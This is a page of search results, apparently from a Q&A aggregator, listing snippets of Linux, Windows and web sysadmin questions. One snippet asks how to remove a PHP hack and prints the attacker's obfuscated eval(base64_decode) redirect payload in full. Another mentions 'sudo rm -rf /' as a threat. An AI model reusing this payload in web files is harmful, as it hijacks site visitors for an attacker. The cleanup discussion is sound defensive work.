Search Results

Search found 5727 results on 230 pages for 'routed commands'.

Page 44/230 | < Previous Page | 40 41 42 43 44 45 46 47 48 49 50 51  | Next Page >

  • Best practices to avoid Jenkins error: sudo: no tty present and no askpass program specified

    - by s g
    When running any sudo command from Jenkins I get the following error: sudo: no tty present and no askpass program specified I understand that I can solve this by adding a NOPASSWD entry to my /etc/sudoers file which will allow user jenkins to run commands without needing a password. I can add an entry like this: %jenkins ALL=(ALL)NOPASSWD:/home/vts_share/test/sudotest.sh ...but this leads to the following issue: how to avoid specifying full path in sudoers file? I can add an entry like this: %jenkins ALL=NOPASSWD: ALL ...but this allows user jenkins to avoid the password prompt for all commands, which seems a bit unsafe. I'm just curious what my options are here, and if there are any best practices I should consider.

    Read the article

  • How to get Bash shell history range

    - by Aniti
    How can I get/filter history entries in a specific range? I have a large history file and frequently use history | grep somecommand Now, my memory is pretty bad and I also want to see what else I did around the time I entered the command. For now I do this: get match, say 4992 somecommand, then I do history | grep 49[0-9][0-9] this is usually good enough, but I would much rather do it more precisely, that is see commands from 4972 to 5012, that is 20 commands before and 20 after. I am wondering if there is an easier way? I suspect, a custom script is in order, but perhaps someone else has done something similar before.

    Read the article

  • grep, xargs, sed to clean up PHP eval hack

    - by roktechie
    I'm attempting to use the commands found on http://devilsworkshop.org/tutorial/remove-evalbase64decode-malicious-code-grep-sed-commands-files-linux-server/55587/ to clean up a PHP eval based hack on a site. Sample code to match/remove <?php eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOwokcWF6cGxtPWhlYWRlcnNfc2VudCgpOwppZiAoISRxYXpwbG0pewokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107CiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOwppZiAoJHVhZykgewppZiAoIXN0cmlzdHIoJHVhZywiTVNJRSA3LjAiKSBhbmQgIXN0cmlzdHIoJHVhZywiTVNJRSA2LjAiKSl7CmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbS9sIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9sb29wZG93bi5sZmxpbmt1cC5jb20vIik7CmV4aXQoKTsKfQp9Cn0KfQp9")); Attempted command: sudo grep -lr --include=*.php "eval(base64_decode" /home/user/webdir | sudo xargs sed -i.bak 's/<?php eval(base64_decode[^;]*;/<?php\n/g' The sudo has been added as it is required to have permission to read/write on the dir I'm accessing. The files list properly from grep, but are not changed by sed. Any suggestions?

    Read the article

  • creating cookbooks and roles with out chef-server

    - by Josh Nankin
    I want to run: knife role create blah I use chef-solo and don't need knife to connect to a server. I just would like to run these commands for helping me prepopulate the files quickly. Everytime I run of these commands it attempts to connect to a server. This does not happen for knife cookbook create blah Double-ewe tee eff. Update: I've noticed this is the case for databags and environments as well. I've read elsewhere that knife is primarily intended for use with the chef-server API, but it seems ridiculous that something like this can't be done. It just needs to save the darn file.

    Read the article

  • How to quickly save what is currently shown in cmd.exe to a file

    - by Zeiga
    I am asking if there is a quick way/command to save the current standard output from cmd.exe or powershell to a file. For example, I have run a bunch of commands in cmd.exe which generating like hundreds of lines of standard output. Ideally, I am looking for a single command to do "select all" and save to a file automatically. Note: I've read this. But I don't want to change my original commands, so "" or "" redirection cannot be used in this scenario. Thanks.

    Read the article

  • Search for specific call in asterisk log files

    - by chiborg
    In my Asterisk log file, I have a line like this (truncated): Executing [123@mycontext:1] Set("SIP/myhost-b7111840", "__INCOMINGCLI=4711") Now I want to do the following filtering while looking at the log file with tail -f: Match lines with a specific value for "INCOMINGCLI", storing the call ID (the "SIP/myhost-b7111840" part) Output all subsequent lines that contain the call ID. As a bonus, having a grep-like option like -A would be nice. I could do that easily in various programming languages, but how would I do it with standard UNIX commands like sed or awk? Can it be done with these commands?

    Read the article

  • URL routing in an MVC framework - PHP

    - by Walderman
    I'm developing an MVC framework in PHP from scratch; mostly for the learning experience but this could easily end up in a live project. I went through this tutorial as a base and I've expanded from there. Requests are made like this: examplesite.com/controller/action/param1/param2/ and so on... And this is my .htaccess file: RewriteEngine on RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$ index.php?rt=$1 [L,QSA] So all requests go to index.php and they are routed to the correct controller and action from there. If no controller or action is given, then the default 'index' is assumed for both. I have an index controller with an index action, which is supposed to be the home page of my site. I can access it by going to examplesite.com (since the index part is assumed). It has some images, a link to a stylesheet, and some scripts. They are linked with paths relative to index.php. I thought this would be fine since all request go to index.php and all content is simply included in this page using php. This works if I go to examplesite.com. I will see all of the images and styles, and scripts will run. However, if I go to examplesite.com/index, I am routed to the correct part of the site, but all of the links don't work. Does the browser think I am in a different folder? I would like to be able to use relative paths for all of the content in my site, because otherwise I need to use absolute paths everywhere to make sure things will show up. Is this possible?

    Read the article

  • Determine which version of linux/unix/darwin I have

    - by John
    I have root ssh/terminal access to a linux server. How do I determine which version of centos I have? Some people suggested I run the command cat /etc/redhat-release but I got an error saying file not found. In fact, i'm not entirely sure i'm even using CentOS. That's what some suggested it might be. Here's a list of commands I tried that gave me no file or directory error: cat /etc/*release* cat /etc/*version* cat /proc/*version* cat /proc/*release* Here's a list of linux commands that do not exist: lsb_release: command not found wget: command not found yum: command not found

    Read the article

  • How to configure Linux to act as a Bluetooth RFCOMM SPP server?

    - by regulatre
    I'm writing a phone app for Android that connects to a bluetooth RFCOMM device in my car. My phone app talks AT commands with it. For development work, I often need to communicate with the device to try different commands and things. My neighbors are starting to think I'm weird because I sit in my car for hours on end with my laptop screen shining on my face, typing away like a script kiddie. I'd much rather configure one of my many Linux servers to act as a bluetooth RFCOMM device and allow me to connect to it (indoors, while I sit on my couch). I imagine I have to start with something like sdptool add SP But then what? I'm perfectly happy writing a perl app to handle the I/O, but I just don't know how to make the bluez stack accept connections and subsequently pipe that stream to a perl app.

    Read the article

  • Chef command to create new ec2 instance with second ebs volume attached and mounted instead of the default ephemeral volume?

    - by runamok
    We currently use this command to create a new ec2 instance with chef: knife ec2 server create --node-name=prod-apache-1 --availability-zone us-east-1c --image ami-3d4ff254 --distro ubuntu12.04-gems --groups "default" --ssh-key foo --identity-file ~/.ssh/id_rsa --ssh-user ubuntu --flavor m1.small After this command we then run further chef commands to finish provisioning the server. I was wondering if it would be possible while first setting up the instance I wanted a 100 gb volume created and mounted at /mnt and to have the ephemeral storage mounted at /tmp or /mnt-ephemeral instead. If not what further commands in chef would you advise running? I know how to do this via the aws console and can probably figure out how to do it via the ec2 command line tools but I am knew to chef and a bit overwhelmed.

    Read the article

  • How to run scripts within a telnet session?

    - by wenzi
    I want to connect to a remote host using telnet there is no username/password verification just telnet remotehost then I need to input some commands for initialization and then I need to repeat the following commands: cmd argument argument is read from a local file, in this file there are many lines, each line is a argument and after runing one "cmd argument", the remote host will output some results it may output a line with string "OK" or output many lines, one of which is with string "ERROR" and I need to do something according to the results. basically, the script is like: initialization_cmd #some initial comands while read line do cmd $line #here the remote host will output results, how can I put the results into a variable? # here I want to judge the results, like if $results contain "OK";then echo $line >>good_result_log else echo $line >> bad_result_log fi done < local_file the good_result_log and bad_result_log are local files is it possible or not? thanks! NOTE: I can't control B, I can only run initial cmds and cmd $line on B

    Read the article

  • Using Quest AD cmdlets in an imported session

    - by ASTX813
    We are trying to use remote Powershell on our Exchange system: $rs = New-PSSession -ConnectionUri <uri> -ConfigurationName Microsoft.Exchange -Authentication Basic -Credential <username> -AllowRedirection Import-PSSession $rs After these commands, we can run Exchange cmdlets and all is well. However, we're unable to run any Quest Active Directory cmdlets. Yes, Quest is installed on the remote (as well as our local machines), and yes we are able to run those commands when running Powershell locally on the server. I tried -AllowClobber, but that didn't have an effect. Is there a way to get access to QAD?

    Read the article

  • Are there any Spreadsheet apps that are as easy and powerful to use as Vim?

    - by ovatsug25
    I'd like to use a spreadsheet that lets me move around cells like I do in Vim. As well, the more commands that are attributed to keyboard shortcuts, the better. Particularly stuff like making Text-to-Columns which is one of my more frequently used features in Excel. I don't mind learning the shortcuts if they allow me to just look at the spreadsheet page and forget about everything else. edit: The way I am thinking about the Spreadsheet right now is as if every cell is its own unique file. There should be a command where I choose to open that file and edit it right on the spot within the view of the spreadsheet. So I guess I want different modes like in vim which have commands and there should be one mode that is hooked up just to do operations or formatting which would be similar to command mode in Vim.

    Read the article

  • How to manage configuration software installations of non-domain Windows XP machines?

    - by Digi
    I have a large set of unattended Windows XP machines who are not connected to a domain or even to each other. I am struggling to find any tools out there that I can use to deal with them in one application. I am hoping to find software that I can perhaps install a client on each machine, then have it essentially proxy out configuration information and possibly commands (install, uninstall, stop service, etc) across the whole network. The closest I've come is Nagios and its client, but it cannot be used to push files through and run commands remotely. Any suggestions?

    Read the article

  • Linux- passwordless ssh from system (root) script

    - by redmoskito
    What's the easiest way to have a system script (running as root) execute remote commands over ssh? I've written some scripts that execute commands remotely via ssh, and they work great when I run them as myself, as I've set up ssh-agent and keys for passwordless login. I'd like to call these when my laptop docks and undocks. I've been successful at running arbitrary scripts when docking/undocking, but since the ACPI event scripts run as root, trying to run my ssh script fails during authentication. I tried using sudo with the -u and -i flags to simulate running the script as my user, e.g.: sudo -u redmoskito -i /home/redmoskito/bin/remote_command which successfully finds my private key and tries to use it, but the ssh-agent credentials are still missing, so it still needs my passphrase.

    Read the article

  • Giving SSH access to a user, and security issues.

    - by Kris Sauquillo
    Okay, so I have a VPS and I made an account for a friend so he can host his own domains (using the reseller features in DirectAdmin). He's asking for SSH access, and I know that this is probably a bad idea. Does he have access to my whole server, such as executing commands, accessing my domains that I host on my server? I logged into my SSH using his account details and it let me navigate around all of the root folders/files, and his account is under /home/AccountName/. Is there anyway to restrict his access to his folder only? And the commands he can use?

    Read the article

  • Finding the length of files and file path of directory structure in a Linux file system.

    - by Robert Nickens
    I have a problem on a Linux OS running a version of SMB where if the absolute path to a directory within a Shared Folder is greater than 1024 bytes and the filename component is greater than 256 bytes the SMB service crashes and locks out all other services for network access like, SSH and FTP rendering the machine mute. To keep the system for crashing I’ve temporarily moved a group of folders where I think the problem path may be located outside of Shared Folder. I need to find the file and file path that exceeded this limitation and rename them or remove them allowing me to return a bulk of the files to the Shared Folder. I’ve tried the find and grep commands without success. Is there a chain of commands or script that I can use to hunt down the offending files and directory? Please advise.

    Read the article

  • how to compare files/directories of 2 separate solaris boxes ?

    - by chz
    Hi Friends I have 2 solaris boxes and I need to check certain directories (on local filesystem and mounted nfs) to make sure that they match up on both boxes and to delete or move the other mismatches to elsewhere on the local filesystem. I investigated for unix commands like rsync, and tree but it appears that these commands are not supported on my Solaris boxes. What is the best approach to this problem with the least pain to solve it ? to use rsync, tree and then diff the outputs or find ? I have trouble limiting the find command to certain directories as there are mounted folders that contain too many xml files that I don't care to much in that directory. What's the find command to search multiple directory paths on a single find command. Thanks Sincerely

    Read the article

  • centos 5.6, virtual on Vsphere

    - by Glasnhost
    suddenly my virtual centos server (5.6 on VMWare-VSphere) is not working... It started with the url not responding, nor the ip. (NO HTTP response, no ping). When I entered on the server via ssh to start troubleshooting I noticed that most of commands don't work anymore: top- machine hangs (it's not slow anyway) ps - machine hangs (funny enough apache server and web app are running and sending me emails) on some directory ls -l - machine hangs after first file, if ls l.txt the file show only the first file "more" command, also hangs on some file. So there are very little things I can try. I recovered my virtual machine from yesterday and before yesterday, and they show the same behaviour, it hangs on commands (but yesterday they were working). There is no firewall on the machine, there is on the host though. I can connect with ftp but I can't download files nor list directory apart the user top directory... Working hard right now, any idea appreciated

    Read the article

  • how to get a decent emacs setup on linux

    - by Hersheezy
    I am currently interested in switching from vim to emacs. One of the more compelling reasons for this is the smooth integration with a unix environment. The most experienced emacs users I have seen have a bash prompt at the bottom of their window, with stdout going to a buffer right above it. They then interact with the output of programs such as grep in interesting ways. I am on Ubuntu 10.04 and the default emacs environment does not seem to do much for me in the way of integration. For example, in the M-x shell mode, output from basic commands like ls produce lots of strange characters and hitting the up arrow does not go to previous commands. Any recommendations on a good direction to go in?

    Read the article

  • a safer no password sudo?

    - by Stacia
    Ok, here's my problem - Please don't yell at me for being insecure! :) This is on my host machine. I'm the only one using it so it's fairly safe, but I have a very complex password that is hard to type over and over. I use the console for moving files around and executing arbitrary commands a LOT, and I switch terminals, so sudo remembering for the console isn't enough (AND I still have to type in my terrible password at least once!) In the past I have used the NOPASSWD trick in sudoers but I've decided to be more secure. Is there any sort of compromise besides allowing no password access to certain apps? (which can still be insecure) Something that will stop malware and remote logins from sudo rm -rf /-ing me, but in my terminals I can type happily away? Can I have this per terminal, perhaps, so just random commands won't make it through? I've tried running the terminal emulations as sudo, but that puts me as root.

    Read the article

  • Adding custom script on ESXi 5.0

    - by Quzar
    I have an ESXi server that I would like to have run a custom script on every boot that contains esxcli and other commands. I have tried adding the script into init.d and creating an rc.local.d folder with a script, but the etc folder gets rebuilt on startup. I've also tried modifying state.tgz and local.tgz in the /bootbank folder in order to force these files to appear, but that does not seem to work either. Is there any way I can run custom commands on boot? Note: I've tried the advice here ESXi boot process / state storage to no avail. Seems the system was changed between 4.1 and 5.0

    Read the article

  • Need a script/batch/program that runs a command that won't be killed when the parent is killed

    - by billc.cn
    The scenario I use Zabbix to monitor my servers and recently I wanted to add some more metrics for the Windows ones. For security reasons, I used Zabbix's User Parameter feature, but it limits the execution of external commands to about 3 seconds. After that, the command is forcibly killed. I want to run some long run commands, so I used the trick from Zabbix's forum: run the command in the background, write the results to a file and use Zabbix to collect them. This is rather easy under *nix thanks to the "&" operator, but there is no such support in Windows' shell. To make things worse, when Zabbix kills forcibly kill the cmd.exe it used to evaluate the commands, all child processes die including the unfinished background tasks. Thus I need something that can sever all the ties with its children so they won't be affected in the cascading kill. What I've tried start and start /B - They do nothing as the child always die with the parent WScript.Shell.Run as in invis.vbs from StackOverflow - Sometimes work. If the wscript process is forcibly killed as opposed to quitting on its own, the children will die as well. hstart - similar results to invis.vbs At command - This requires you to set an absolution time for the task to run as opposed to an offset, so the code would be quite messy due to the limited shell scripting capability of Windows. (Edit) PsExec.exe from the SysInternals suite - It uses a service to launch the command, so it is not affected by the kill; however, it prints some banner and log info to StdErr and there's no switch to disable this. When I use 2>NUL to redirect them, Zabbix reports an error. After trying the above in different combinations, I noticed if I call hstart from invis.vbs, the command started by the former will be left alone as a parent-less process when invis.vbs is killed. However, since I need to redirect the output, the command I want to run is always in the form of cmd.exe /c ""command" "args"" >log. The vbs also removes all the quotes, so I have to encode the command with self-defined escape sequences. The end result involves about five levels of escaping/quoting, which is almost impossible to maintain. Anyone know any better solutions? Some requirements Any bat/vbs/js/Win32 binary is acceptable Better not require multiple levels of escaping No .Net (including PowerShell) because it is not installed

    Read the article

  • Use server git installation in GitHub for Windows

    - by Lg102
    We are using Git as the version control for our website development. I work from a laptop, which is connected to the internal network via a WiFi connection. I've mapped the server drives as network drives in Windows. Commands such as git status take significantly longer for me than they do for my co-workers on wired connections. When connecting to the server using SSH and running commands on the git installation there, performance is even better. Is there a way to configure GitHub for Windows to use the server-installed git (with my credentials)? Note: While our production servers has a user configuration with proper permissions, the development server has only one root user.

    Read the article

< Previous Page | 40 41 42 43 44 45 46 47 48 49 50 51  | Next Page >